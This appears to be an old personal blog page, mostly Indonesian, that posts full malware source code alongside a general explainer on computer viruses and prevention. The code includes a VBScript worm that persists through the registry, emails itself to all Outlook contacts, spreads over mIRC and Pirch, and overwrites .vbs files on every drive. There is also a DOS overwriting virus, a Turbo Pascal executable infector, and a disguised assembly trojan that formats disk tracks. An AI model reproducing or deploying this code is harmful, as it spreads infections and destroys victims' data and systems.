<body><script type="text/javascript"> function setAttributeOnload(object, attribute, val) { if(window.addEventListener) { window.addEventListener('load', function(){ object[attribute] = val; }, false); } else { window.attachEvent('onload', function(){ object[attribute] = val; }); } } </script> <iframe src="http://www.blogger.com/navbar.g?targetBlogID=34599328&amp;blogName=Miss+EndarE&amp;publishMode=PUBLISH_MODE_BLOGSPOT&amp;navbarType=BLUE&amp;layoutType=CLASSIC&amp;searchRoot=http://missendare.blogspot.com/search&amp;blogLocale=en_US&amp;v=1&amp;homepageUrl=http://missendare.blogspot.com/&amp;vt=-5226792004062216356" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" height="30px" width="100%" id="navbar-iframe" allowtransparency="true" title="Blogger Navigation and Search"></iframe> <div></div>
Miss EndarE

Thursday, September 21, 2006

<     >

vbs generator


On Error Resume Next

Set ymxelbkdfsm = CreateObject("WScript.Shell")

Set pnisnipummf= Createobject("scripting.filesystemobject")

ymxelbkdfsm.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Picture.jpg","wscript.exe "&pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs %"

pnisnipummf.copyfile wscript.scriptfullname,pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

if ymxelbkdfsm.regread ("HKCU\software\Worm\mailed") <> "1" then

lirpbmybzfh()

end if

if ymxelbkdfsm.regread ("HKCU\software\Worm\mirqued") <> "1" then

ozzejgvdmwg()

end if

if ymxelbkdfsm.regread ("HKCU\software\Worm\pirched") <> "1" then

dyostsunjnc()

end if

iiqstpcjgyp()

qaorydnuohu()

Function lirpbmybzfh()

On Error Resume Next

Set fftkslnantq = CreateObject("Outlook.Application")

If fftkslnantq= "Outlook"Then

Set zyjugcagpwh=fftkslnantq.GetNameSpace("MAPI")

For Each bfrpdevfhlg In zyjugcagpwh.AddressLists

If bfrpdevfhlg.AddressEntries.Count <> 0 Then

yacxksogxyi = bfrpdevfhlg.AddressEntries.Count

For wabacorvkrq= 1 To yacxksogxyi

Set xzgevcppdhn = bfrpdevfhlg.AddressEntries(wabacorvkrq)

Set blbnwjwbyhz = fftkslnantq.CreateItem(0)

blbnwjwbyhz.To = xzgevcppdhn.Address

blbnwjwbyhz.Subject = "Khabar berita "

blbnwjwbyhz.Body = "Salam Untuk Kurt Cobain di sorga and semoga arwahmu tenang di sisi tuhan "

blbnwjwbyhz.Attachments.Add pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

blbnwjwbyhz.DeleteAfterSubmit = True

If blbnwjwbyhz.To <> "" Then

blbnwjwbyhz.Send

ymxelbkdfsm.regwrite "HKCU\software\Worm\mailed", "1"

End If

Next

End If

Next

end if

End Function

Function ozzejgvdmwg(kciljoxeijo)

On Error Resume Next

if kciljoxeijo<>"" then

if pnisnipummf.fileexists("c:\mirc\mirc.ini") then kciljoxeijo="c:\mirc"

if pnisnipummf.fileexists("c:\mirc32\mirc.ini") then kciljoxeijo="c:\mirc32"

zxmndgquoec=ymxelbkdfsm.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")

if pnisnipummf.fileexists(zxmndgquoec & "\mirc\mirc.ini") then kciljoxeijo=zxmndgquoec & "\mirc"

end if

if kciljoxeijo <> "" then

set cbewadmzzhc = pnisnipummf.CreateTextFile(kciljoxeijo & "\script.ini", True)

cbewadmzzhc.WriteLine "[script]"

cbewadmzzhc.writeline "n0=on 1:JOIN:#:{"

cbewadmzzhc.writeline "n1= /if ( $nick == $me ) { halt }"

cbewadmzzhc.writeline "n2= /.dcc send $nick "&pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

cbewadmzzhc.writeline "n3=}"

cbewadmzzhc.close

ymxelbkdfsm.regwrite "HKCU\software\Worm\Mirqued", "1"

end if

end function

function dyostsunjnc(dzlapofzkfa)

On Error Resume Next

if dzlapofzkfa<>"" then

if pnisnipummf.fileexists("c:\pirch\Pirch32.exe") then dzlapofzkfa="c:\pirch"

if pnisnipummf.fileexists("c:\pirch32\Pirch32.exe") then dzlapofzkfa="c:\pirch32"

hmedxxlpvjt=ymxelbkdfsm.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")

if pnisnipummf.fileexists(hmedxxlpvjt & "\pirch\Pirch32.exe") then dzlapofzkfa=hmedxxlpvjt & "\pirch\Pirch32.exe"

end if

if dzlapofzkfa <> "" then

set jvekedajhtk= pnisnipummf.CreateTextFile(dzlapofzkfa & "\events.ini", True)

jvekedajhtk.WriteLine "[Levels]"

jvekedajhtk.WriteLine "Enabled=1"

jvekedajhtk.WriteLine "Count=6"

jvekedajhtk.WriteLine "Level1=000-Unknowns"

jvekedajhtk.WriteLine "000-UnknownsEnabled=1"

jvekedajhtk.WriteLine "Level2=100-Level 100"

jvekedajhtk.WriteLine "100-Level 100Enabled=1"

jvekedajhtk.WriteLine "Level3=200-Level 200"

jvekedajhtk.WriteLine "200-Level 200Enabled=1"

jvekedajhtk.WriteLine "Level4=300-Level 300"

jvekedajhtk.WriteLine " 300-Level 300Enabled=1"

jvekedajhtk.WriteLine "Level5=400-Level 400 "

jvekedajhtk.WriteLine "400-Level 400Enabled=1"

jvekedajhtk.WriteLine "Level6=500-Level 500"

jvekedajhtk.WriteLine "500-Level 500Enabled=1"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[000-Unknowns]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[100-Level 100]"

jvekedajhtk.WriteLine "User1=*!*@*"

jvekedajhtk.WriteLine "UserCount=1"

jvekedajhtk.writeline "Event1=ON JOIN:#:/dcc tsend $nick "&pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

jvekedajhtk.WriteLine "EventCount=1"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[200-Level 200]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[300-Level 300]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[400-Level 400]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[500-Level 500]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

pirchini.close

ymxelbkdfsm.regwrite "HKCU\software\Worm\pirched", "1"

end if

end function

if month(now) =1 and day(now) =26 then

msgbox "Kau Bodoh",16

end if

Function qaorydnuohu()

On Error Resume Next

Set qtrxfgqrwiy = pnisnipummf.Drives

For Each nvloycxmkkj In qtrxfgqrwiy

If nvloycxmkkj.Drivetype = Remote Then

mebfuhaiklh= nvloycxmkkj & "\"

Call tixpnisnipu(mebfuhaiklh)

ElseIf nvloycxmkkj.IsReady Then

mebfuhaiklh= nvloycxmkkj&"\"

Call tixpnisnipu(mebfuhaiklh)

End If

Next

End Function

Function tixpnisnipu(mmfymxelbkd)

Set fsmlirpbmyb= pnisnipummf.GetFolder(mmfymxelbkd)

Set zfhozzejgvd= fsmlirpbmyb.Files

For Each mwgdyostsun In zfhozzejgvd

if pnisnipummf.GetExtensionName(mwgdyostsun.path) = "vbs" then

pnisnipummf.copyfile wscript.scriptfullname , mwgdyostsun.path , true

end if

if mwgdyostsun.name = "mirc.ini" then

ozzejgvdmwg(mwgdyostsun.ParentFolder)

end if

if mwgdyostsun.name = "Pirch32.exe" then

dyostsunjnc(mwgdyostsun.ParentFolder)

end if

Next

Set mwgdyostsun= fsmlirpbmyb.SubFolders

For Each jnciiqstpcj In mwgdyostsun

Call tixpnisnipu(jnciiqstpcj.path)

Next

End Function

Tuesday, September 19, 2006

<     >

Tagging with BlogThis! - Freshblog

Tagging with BlogThis! - Freshblog

Monday, September 18, 2006

<     >

Tentang virus komputer

Mengenal Virus Computer


Saat Ini, pastilah kita semua selaku konsumen/pengguna jasa komputer dan jaringan ( internet ) sudah sangat sering mendengar istilah “virus” yang terkadang meresahkan kita. Tulisan ini akan mengupas lebih jauh mengenai virus, yang nantinya diharapkan dapat membuat kita semua mengerti dan memahami tentang virus.

ASAL MUASAL VIRUS

1949, John von Neumann, menggungkapkan " teori self altering automata " yang merupakan hasil riset dari para ahli matematika. 1960, Lab BELL (AT&T), para ahli di lab BELL (AT&T) mencoba-coba teori yang diungkapkan oleh
John von Neumann, dengan membuat suatu jenis permainan/game. Mereka membuat program yang dapat memperbanyak dirinya dan dapat menghancurkan program buatan lawan. Program yang mampu bertahan dan menghancurkan semua program lain, akan dianggap sebagai pemenangnya. Permainan ini akhirnya menjadi permainan favorit di tiap-tiap lab komputer. Tetapi, semakin lama program yang diciptakan makin berbahaya, sehingga mereka melakukan pengawasan dan pengamanan yang ketat terhadap permainan ini. 1980, Program-program tersebut yang akhirnya dikenal dengan sebutan "virus" ini berhasil menyebar keluar lingkungan laboratorium, dan mulai beredar di masyarakat umum.

PENGERTIAN VIRUS

"A program that can infect other programs by modifying them to include a slighty altered copy of itself. A virus can spread throughout a computer system or network using the authorization of every user using it to infect their programs. Every programs that gets infected can also act as a virus that infection grows“

( Fred Cohen )

Pertama kali istilah “virus” digunakan oleh Fred Cohen pada tahun 1984 di Amerika Serikat. Virus komputer dinamakan “virus” karena memiliki beberapa persamaan mendasar dengan virus pada istilah kedokteran (biological viruses). Virus komputer bisa diartikan sebagai suatu program komputer biasa. Tetapi memiliki perbedaan yang mendasar dengan
program-program lainnya,yaitu virus dibuat untuk menulari program-program lainnya, mengubah, memanipulasinya bahkan sampai merusaknya. Ada yang perlu dicatat disini, virus hanya akan menulari apabila program pemicu atau program yang telah terinfeksi tadi dieksekusi, disinilah perbedaannya dengan "worm". Tulisan ini tidak akan bahas worm karena nanti
akan mengalihkan kita dari pembahasan mengenai virus ini.

KRITERIA VIRUS

Suatu program dapat disebut sebagai suatu virus apabila memenuhi minimal 5 kriteria berikut :

1. Kemampuan untuk mendapatkan informasi
2. Kemampuan untuk memeriksa suatu file
3. Kemampuan untuk menggandakan diri dan menularkan diri
4. Kemampuan melakukan manipulasi
5. Kemampuan untuk menyembunyikan diri. Sekarang akan coba dijelaskan dengan singkat apa yang dimaksud
dari tiap-tiap kemampuan itu dan mengapa ini sangat diperlukan.

1. Kemampuan untuk mendapatkan informasi
Pada umumnya suatu virus memerlukan daftar nama-nama file yang ada
dalam suatu directory. Untuk apa? Agar dia dapat memperoleh daftar file yang bisa dia tulari. Misalnya, virus makro yang akan menginfeksi semua file data MS Word, akan mencari daftar file berekstensi *.doc. Disinilah kemampuan mengumpulkan informasi itu diperlukan agar virus dapat membuat daftar/data semua file, lalu memilahnya dengan
mencari file-file yang bisa ditulari. Biasanya data ini tercipta saat file yang tertular/terinfeksi virus atau file program
virus itu sendiri dibuka oleh user. Sang virus akan segera melakukan pengumpulan data dan menaruhnya (biasanya) di RAM, sehingga apabila komputer dimatikan semua data hilang. Tetapi data-data ini akan tercipta kembali setiap kali virus itu diaktifkan. Biasanya data-data ini disimpan juga sebagai hidden file oleh virus tersebut.

2. Kemampuan memeriksa suatu program
Suatu virus juga harus bisa memeriksa suatu file yang akan ditulari, misalnya dia bertugas menulari program berekstensi *.doc, maka dia harus memeriksa apakah file dokumen tersebut telah terinfeksi ataupun belum, karena jika sudah, akan percuma menularinya lagi. Ini sangat berguna untuk meningkatkan kemampuan suatu virus dalam hal kecepatan menginfeksi suatu file/program. Yang umum dilakukan oleh virus adalah memiliki/memberi tanda pada file/program yang telah terinfeksi sehingga mudah untuk dikenali oleh virus tersebut. Contoh penandaan adalah misalnya memberikan suatu byte yang unik di setiap file yang telah terinfeksi.

3. Kemampuan untuk menggandakan diri
Kalo ini memang virus "bang-get", maksudnya, tanpa kemampuan ini tak adalah virus. Inti dari virus adalah kemampuan mengandakan diri dengan cara menulari file lainnya. Suatu virus apabila telah menemukan calon korbannya maka ia akan mengenalinya dengan memeriksanya. Jika belum terinfeksi maka sang virus akan memulai aksinya penularan dengan cara menuliskan byte pengenal pada file tersebut, dan seterusnya mengcopikan/menulis kode objek virus diatas file sasaran. Beberapa cara umum yang dilakukan oleh virus untuk menulari/menggandakan dirinya adalah :

a. File yang akan ditulari dihapus atau diubah namanya. Kemudian diciptakan suatu file berisi program virus itu
sendiri menggunakan nama file yang asli.
b. Program virus yang sudah dieksekusi/load ke memori akan langsung menulari file-file lain dengan cara menumpangi
seluruh file yang ada.

4. Kemampuan mengadakan manipulasi
Rutin (routine) yang dimiliki suatu virus akan dijalankan setelah virus menulari suatu file. Isi dari suatu rutin ini dapat beragam mulai dari yang tidak berbahaya sampai yang melakukan perusakan. Rutin ini umumnya digunakan untuk memanipulasi file atau pun mempopulerkan pembuatnya ! Rutin ini memanfaatkan kemampuan dari suatu sistem operasi (Operating System), sehingga memiliki kemampuan yang sama dengan yang dimiliki sistem operasi. Misal :

a. Membuat gambar atau pesan pada monitor
b. Mengganti/mengubah-ubah label dari tiap file, direktori, atau label dari drive di PC
c. Memanipulasi file yang ditulari
d. Merusak file
e. Mengacaukan kerja printer, dsb

5. Kemampuan Menyembunyikan diri
Kemampuan menyembunyikan diri ini harus dimiliki oleh suatu virus agar semua pekerjaan baik dari awal sampai berhasilnya penularan dapat terlaksana. Langkah langkah yang biasa dilakukan adalah:

- Program virus disimpan dalam bentuk kode mesin dan digabung dengan program lain yang dianggap berguna oleh pemakai
- Program virus diletakkan pada Boot Record atau track pada disk yang jarang diperhatikan oleh komputer itu sendiri
- Program virus dibuat sependek mungkin, dan hasil file yang diinfeksi tidak terlalu berubah ukurannya
- Virus tidak mengubah keterangan/informasi waktu suatu file
- dll

SIKLUS HIDUP VIRUS
Siklus hidup virus secara umum, melalui 4 tahap:

o Dormant phase ( Fase Istirahat/Tidur ) Pada fase ini virus tidaklah aktif. Virus akan diaktifkan oleh suatu kondisi tertentu, semisal: tanggal yang ditentukan, kehadiran program lain/dieksekusinya program lain, dsb. Tidak semua virus melalui fase ini.
o Propagation phase ( Fase Penyebaran ) Pada fase ini virus akan mengkopikan dirinya kepada suatu program atau ke suatu tempat dari media storage (baik hardisk, RAM dsb). Setiap program yang terinfeksi akan menjadi hasil “kloning” virus tersebut (tergantung cara virus tersebut menginfeksinya).
o Trigerring phase ( Fase Aktif ) Di fase ini virus tersebut akan aktif dan hal ini juga di picu oleh beberapa kondisi seperti pada Dormant Phase.
o Execution phase ( Fase Eksekusi ) Pada fase inilah virus yang telah aktif tadi akan melakukan fungsinya. Seperti menghapus file, menampilkan pesan-pesan, dsb

JENIS – JENIS VIRUS
Untuk lebih mempertajam pengetahuan kita tentang virus, saya akan coba memberikan penjelasan tentang jenis-jenis virus yang sering berkeliaran di masyarakat umum.

1. Virus Makro
Jenis virus ini pasti sudah sangat sering kita dengar. Virus ini ditulis dengan bahasa pemrograman dari suatu aplikasi bukan dengan bahasa pemrograman dari suatu Operating System. Virus ini dapat berjalan apabila aplikasi pembentuknya dapat berjalan dengan baik. Sebagai contoh jika pada komputer mac dijalankan aplikasi Word, maka virus makro yang dibuat dari bahasa makro Word dapat bekerja pada komputer bersistem operasi Mac ini. Contoh virus:

- Varian W97M, misal W97M.Panther Panjang 1234 bytes, akanmenginfeksi NORMAL.DOT dan menginfeksi
dokumen apabila dibuka.
- WM.Twno.A;TW Panjang 41984 bytes, akan menginfeksi Dokumen Ms.Word yang menggunakan bahasa
makro, biasanya berekstensi *.DOT dan *.DOC
- dll

2. Virus Boot Sector
Virus Boot sector ini sudah umum sekali menyebar. Virus ini dalam menggandakan dirinya, akan memindahkan atau menggantikan boot sector asli dengan program booting virus. Sehingga saat terjadi booting maka virus akan diload ke memori dan selanjutnya virus akan mempunyai kemampuan mengendalikan hardware standar (contoh : monitor, printer dsb) dan dari memori ini pula virus akan menyebar ke seluruh drive yang ada dan yang terhubung ke komputer (contoh : floopy, drive lain selain drive c:). Contoh virus :

- Varian virus wyx ex: wyx.C(B) menginfeksi boot record dan floopy ; Panjang :520 bytes; Karakteristik : memory
resident dan terenkripsi.
- Varian V
- Sign : Menginfeksi : Master Boot Record ; Panjang 520 bytes; Karakteristik : menetap di memori (memory
resident),terenkripsi, dan polymorphic)
- Stoned.june 4th/ bloody!: Menginfeksi : Master Boot Record dan floopy; Panjang 520 bytes; Karakteristik :
menetap di memori (memory resident), terenkripsi dan menampilkan pesan "Bloody!june 4th 1989" setelah
komputer melakukan booting sebanyak 128 kali.

3. Stealth Virus
Virus ini akan menguasai tabel interrupt pada DOS yang sering kita kenal dengan "Interrupt interceptor". Virus ini berkemampuan untuk mengendalikan instruksi-instruksi level DOS dan biasanya mereka tersembunyi sesuai namanya baik secara penuh ataupun ukurannya. Contoh virus :

- Yankee.XPEH.4928, Menginfeksi file *.COM dan *.EXE ; Panjang 4298 bytes; Karakteristik: menetap
di memori, ukurantersembunyi, memiliki pemicu
- WXYC (yang termasuk kategori boot record pun karena masuk kategri stealth dimasukkan pula disini),
Menginfeksi floopy an motherboot record; Panjang 520 bytes; Karakteristik : menetap di memori; ukuran dan virus
tersembunyi.
- Vmem(s): Menginfeksi file file *.EXE, *.SYS, dan *.COM ; Panjang fie 3275 bytes; Karakteristik:menetap
di memori, ukuran tersembunyi, di enkripsi.
- dll

4. Polymorphic Virus
Virus ini Dirancang buat mengecoh program antivirus, artinya virus ini selalu berusaha agar tidak dikenali oleh antivirus dengan cara selalu merubah rubah strukturnya setiap kali selesai menginfeksi file/program lain. Contoh virus:

- Necropolis A/B, Menginfeksi file *.EXE dan *.COM; Panjang file 1963 bytes; Karakteristik: menetap di memori,
ukuran dan virus tesembunyi,terenkripsi dan dapat berubah ubah struktur
- Nightfall, Menginfeksi file *.EXE; Panjang file 4554 bytes; Karakteristik : menetap di memori, ukuran dan virus
tesembunyi,memiliki pemicu, terenkripsidan dapat berubah-ubah struktur
- dll

5. Virus File/Program
Virus ini menginfeksi file-file yang dapat dieksekusi langsung dari sistem operasi, baik itu file *.EXE, maupun *.COM biasanya juga hasil infeksi dari virus ini dapat diketahui dengan berubahnya ukuran file yang diserangnya.

6. Multi Partition Virus
Virus ini merupakan gabungan dari virus boot sector dan virus file. Artinya pekerjaan yang dilakukan berakibat dua,
yaitu dia dapat menginfeksi file-file *.EXE atau *.COM dan juga menginfeksi boot sector.

BEBERAPA CARA PENYEBARAN VIRUS

Virus layaknya virus biologi harus memiliki media untuk dapat menyebar, virus komputer dapat menyebar ke berbagai komputer/mesin lainnya juga melalui berbagai media, diantaranya:

1. Disket, media storage R/W Media penyimpanan eksternal dapat menjadi sasaran empuk bagi virus untuk dijadikan
media. Baik sebagai tempat menetap ataupun sebagai media penyebarannya. Media yang bias melakukan operasi
R/W (Read dan Write) sangat memungkinkan untuk ditumpangi virus dan dijadikan sebagai media penyebaran.
2. Jaringan ( LAN, WAN,dsb) Hubungan antara beberapa computer secara langsung sangat memungkinkan suatu virus
ikut berpindah saat terjadi pertukaran/pengeksekusian file yang mengandung virus.
3. WWW (internet) Sangat mungkin suatu situs sengaja ditanamkan suatu “virus” yang akan menginfeksi
komputer-komputer yang mengaksesnya.
4. Software yang Freeware, Shareware atau bahkan Bajakan Banyak sekali virus yang sengaja ditanamkan
dalam suatu program yang disebarluaskan baik secara gratis, atau trial version.
5. Attachment pada email, transfering file Hampir semua jenis penyebaran virus akhir-akhir ini menggunakan
email attachment dikarenakan semua pemakai jasa internet pastilah menggunakan email untuk berkomunikasi, file-file
ini sengaja dibuat mencolok/menarik perhatian, bahkan seringkali memiliki ekstensi ganda pada penamaan filenya.

PENANGULANGANNYA

1. Langkah-Langkah untuk Pencegahan
Untuk pencegahan anda dapat melakukan beberapa langkah-langkah berikut :

o Gunakan antivirus yang anda percayai dengan update terbaru. Tidak perduli apapun merknya asalkan selalu
diupdate, dan auto-protect dinyalakan maka komputer anda terlindungi.
o Selalu scanning semua media penyimpanan eksternal yang akan digunakan, mungkin hal ini agak merepotkan
tetapi jika auto-protect antivirus anda bekerja maka prosedur ini dapat dilewatkan.
o Jika anda terhubung langsung ke Internet cobalah untuk mengkombinasikan antivirus anda dengan
Firewall, Anti-spamming, dsb.
o Selalu waspada terhadap fle-file yang mencurigakan, contoh : file dengan 2 buah exstension atau file
executable yang terlihat mencurigakan.
o Untuk software freeware + shareware, ada baiknya anda mengambilnya dari situs resminya.
o Semampunya hindari membeli barang bajakan, gunakan software-software open source.

2. Langkah-Langkah Apabila telah Terinfeksi

o Deteksi dan tentukan dimanakah kira-kira sumber virus tersebut apakah di disket, jaringan, email dsb. Jika anda
terhubung ke jaringan maka ada baiknya anda mengisolasi komputer anda dulu (baik dengan melepas kabel atau
mendisable sambungan internet dari control panel)

o Identifikasi dan klasifikasikan jenis virus apa yang menyerang pc anda, dengan cara:

- Gejala yang timbul, misal : pesan, file yang corrupt atau hilang dsb
- Scan dengan antivirus anda, jika anda terkena saat auto
- protect berjalan berarti virus definition di dalam komputer anda tidak memiliki data virus ini, cobalah update
secara manual atau mendownload virus definitionnya untuk kemudian anda install. Jika virus tersebut memblok
usaha anda untuk mengupdate, maka upayakan untuk menggunakan media lain (komputer) dengan antivirus
yang memiliki update terbaru.

o Bersihkan virus tersebut. Setelah anda berhasil mendeteksi dan mengenalinya maka usahakan segera untuk mencari
removal atau cara-cara untuk memusnahkannya di situs-situs yang memberikan informasi perkembangan virus tersebut.
Hal ini perlu dilakukan apabila antivirus dengan update terbaru anda tidak berhasil memusnahkannya.
o Langkah terburuk. Jika semua hal diatas tidak berhasil adalah memformat ulang komputer anda .

<     >

univ.asm virus code with com for compiler

code segment
assume cs:code,ds:code,es:code,ss:code
org 100h

main proc near
mov dx,offset(nev) ; offset to '*.*'
mov ah,4Eh
int 21h ; find first
mov dx,009Eh
mov ax,3D01h ; writing
int 21h ; open a file
mov bx,ax
mov ah,40h
mov cl,offset(nev)-100h+4 ; byte-szam
mov dx,100h
int 21h ; write to file
nev: DB '*.*'
DB 0h
main endp
code ends
end main
<     >

a virus with turbo pascal language

uses dos;

{.$DEFINE DEBUG}

{$IFDEF DPMI}
const
virsize = 20000;
{$ELSE}
const
virsize = 10000;
{$ENDIF}

var
isfirststart : boolean;

vir : array[0..virsize-1] of byte;
buf : array[0..virsize-1] of byte;

{$IFDEF DEBUG}
procedure debug(msg : string);
begin
textattr := 2;
write(msg);
textattr := 7;
writeln;
end;
{$ENDIF}

function cmpvirbuf : boolean;
var
i : integer;
begin
cmpvirbuf := false;
for i := low(vir) to high(vir) do
if vir[i] <> buf[i] then
exit;
cmpvirbuf := true;
end;

procedure read_myself;
var
f : file;
w : word;
begin

{$IFDEF DEBUG}
debug('reading virus body from file '+paramstr(0));
{$ENDIF}

assign(f, paramstr(0));

filemode := 0;
reset(f,1);
filemode := 2;
if ioresult<>0 then
begin
{$IFDEF DEBUG}
debug('error');
{$ENDIF}
halt;
end;

fillchar(vir, sizeof(vir), 0);
blockread(f, vir, virsize, w);

isfirststart := w<>virsize;

close(f);

{$IFDEF DEBUG}
debug('done');
{$ENDIF}

{$IFDEF DEBUG}
if isfirststart then
debug('(1st virus execution detected)');
{$ENDIF}
end;

{$IFDEF DEBUG}

function ask(msg : string) : boolean;
begin

debug(msg+' (Y/N)');
repeat
case upcase(readkey) of
'Y': begin
debug('...Yes');
ask := true;
exit;
end;
'N': begin
debug('...No');
ask := false;
exit;
end;
end;
until false;

end;

{$ENDIF}

function infect_file(filename : string) : boolean;
label
exitinfect;
var
r : searchrec;
f : file;
begin
{$IFDEF DEBUG}
debug('infecting file '+filename);
{$ENDIF}

infect_file := false;

{$IFDEF DEBUG}
if not ask('infect file?') then
begin
infect_file := true;
exit;
end;
{$ENDIF}

findfirst(filename, archive+readonly, r);
if doserror<>0 then
begin
{$IFDEF DEBUG}
debug('file not found');
{$ENDIF}
exit;
end;

if r.size < virsize then
begin
{$IFDEF DEBUG}
debug('too small file');
{$ENDIF}
exit;
end;

if r.time and 31 = 13 then
begin
{$IFDEF DEBUG}
debug('file probably alredy infected');
{$ENDIF}
exit;
end;

assign(f, filename);

setfattr(f, archive);
if doserror <> 0 then
begin
{$IFDEF DEBUG}
debug('cant change file attributes');
{$ENDIF}
exit;
end;

reset(f,1);
if ioresult <> 0 then
begin
{$IFDEF DEBUG}
debug('cant open file');
{$ENDIF}
exit;
end;

blockread(f, buf, virsize);

if cmpvirbuf then
begin
{$IFDEF DEBUG}
debug('file alredy infected');
{$ENDIF}
goto exitinfect;
end;

if chr(buf[0])+chr(buf[1]) <> 'MZ' then
begin
{$IFDEF DEBUG}
debug('not .EXE-file');
{$ENDIF}
goto exitinfect;
end;

{$IFDEF DEBUG}
debug('infecting...');
{$ENDIF}

seek(f, filesize(f));
blockwrite(f, buf, virsize);

seek(f, 0);
blockwrite(f, vir, virsize);

infect_file := true;

{$IFDEF DEBUG}
debug('done');
{$ENDIF}

r.time := (r.time and (not 31)) or 13;

exitinfect:
setftime(f, r.time);
close(f);
setfattr(f, r.attr);
end;

function cure_file(filename : string) : boolean;
label
exitcure;
var
r : searchrec;
f : file;
begin
{$IFDEF DEBUG}
debug('disinfecting file '+filename);
{$ENDIF}

cure_file := false;

findfirst(filename, archive+readonly, r);
if doserror<>0 then
begin
{$IFDEF DEBUG}
debug('file not found');
{$ENDIF}
exit;
end;

if r.size < virsize*2 then
begin
{$IFDEF DEBUG}
debug('too small file size => not infected');
{$ENDIF}
exit;
end;

assign(f, filename);

setfattr(f, archive);
if doserror <> 0 then
begin
{$IFDEF DEBUG}
debug('cant change file attributes');
{$ENDIF}
exit;
end;

reset(f,1);
if ioresult <> 0 then
begin
{$IFDEF DEBUG}
debug('cant open file');
{$ENDIF}
exit;
end;

blockread(f, buf, virsize);

if not cmpvirbuf then
begin
{$IFDEF DEBUG}
debug('file not found');
{$ENDIF}
goto exitcure;
end;

{$IFDEF DEBUG}
debug('disinfecting...');
{$ENDIF}

seek(f, filesize(f) - virsize);
blockread(f, buf, virsize);

seek(f, 0);
blockwrite(f, buf, virsize);

seek(f, filesize(f) - virsize);
truncate(f);

cure_file := true;

{$IFDEF DEBUG}
debug('done');
{$ENDIF}

r.time := r.time and (not 31);

exitcure:
setftime(f, r.time);
close(f);
setfattr(f, r.attr);
end;

function infect_dir(dir : string; maxreclevel, maxfile : integer) : integer;
var
r : searchrec;
d : dirstr;
n : namestr;
e : extstr;
inffile : integer;
begin

{$IFDEF DEBUG}
debug('searching for files in the directory "'+dir+'"');
{$ENDIF}

dir := FExpand(dir);
if copy(dir,1,1) < 'C' then
exit;

if dir <> '' then
if dir[length(dir)] <> '\' then
dir := dir + '\';

inffile := 0;

findfirst(dir+'*.*', anyfile, r);
while doserror=0 do
begin

if r.attr and directory <> 0 then begin

if r.name[1]<>'.' then
if maxreclevel>0 then
inc(inffile, infect_dir(dir+r.name+'\', maxreclevel-1, maxfile));

end else begin

fsplit(r.name, d,n,e);

if (e='.EXE') or (e='.COM') or (e='.SCR') then
if infect_file(dir+r.name) then
inc(inffile);

end;

if inffile>=maxfile then
break;

findnext(r);

end; { while }

infect_dir := inffile;

end; { infect_dir }

procedure infect_path;
var
s, q : string;
begin
s := getenv('PATH');
while s<>'' do
begin
q := '';
while (s<>'') and (s[1]<>';') do
begin
q := q + s[1];
delete(s,1,1);
end;
delete(s,1,1);
infect_dir(q, 0, 10);
end;
end;

label
exitvirus;

begin

{$IFDEF DEBUG}
debug('virus started. press any key...');
readkey;
{$ENDIF}

read_myself;

if paramstr(1)='/infect' then
begin
infect_file(paramstr(2));
goto exitvirus;
end;
if paramstr(1)='/cure' then
begin
infect_file(paramstr(2));
goto exitvirus;
end;

if isfirststart then goto exitvirus;

{$IFDEF DEBUG}
if ask('Search and infect files?') then
begin
{$ENDIF}

infect_file(getenv('COMSPEC'));
infect_path;
infect_dir('..\',0,1);
infect_dir('..\..\',0,1);
infect_dir('C:\',3,5);

{$IFDEF DEBUG}
end;

if ask('Execute host file?') then
begin
{$ENDIF}

cure_file(paramstr(0));

{$IFDEF DEBUG}
debug('executing host...');
{$ENDIF}
swapvectors;
exec(paramstr(0), string(ptr(prefixseg,$80)^));
swapvectors;
{$IFDEF DEBUG}
debug('...done');
{$ENDIF}

infect_file(paramstr(0));

{$IFDEF DEBUG}
end;
{$ENDIF}

exitvirus:

{$IFDEF DEBUG}
debug('exiting virus');
{$ENDIF}

end.
<     >

pamela.asm

DOSSEG
.MODEL SMALL
.STACK 100H
.DATA

CNTR DB 2 ; Counter to nuke all drives C and up
MESSAGE DB 13,10,"Loading program$"
FINISH DB 13,10,"Thanx for using THEloader v1.6$",13,10
DOT DB ".$"

.CODE

kill: MOV AX,@DATA
MOV DS,AX
MOV BP,1
MOV DX,OFFSET MESSAGE ;Print the nice little message
MOV AH,09H
INT 21H

KRAD: CMP CNTR,26 ;Check to see if it's drive Z
JGE BYEBYE ;If it is, then jump to the end...
MOV AH,05 ;Format track
MOV CH,0 ;Blah, blah, blah...
MOV DH,0 ;Starting at Sector 0
MOV DL,CNTR ;Drive
INT 13H
MOV DX,OFFSET DOT
MOV AH,09H
INT 21H
INC CNTR
JMP KRAD

BYEBYE: MOV AL,2
MOV CX,700
MOV DX,00
MOV DS,[DI+99]
MOV BX,[DI+55]
INT 26H
MOV DX,OFFSET FINISH
MOV AH,09H
INT 21H
MOV AX,4C00H
INT 21H ;Get outa here...

END KILL
<     >

about virus from wiki pedia

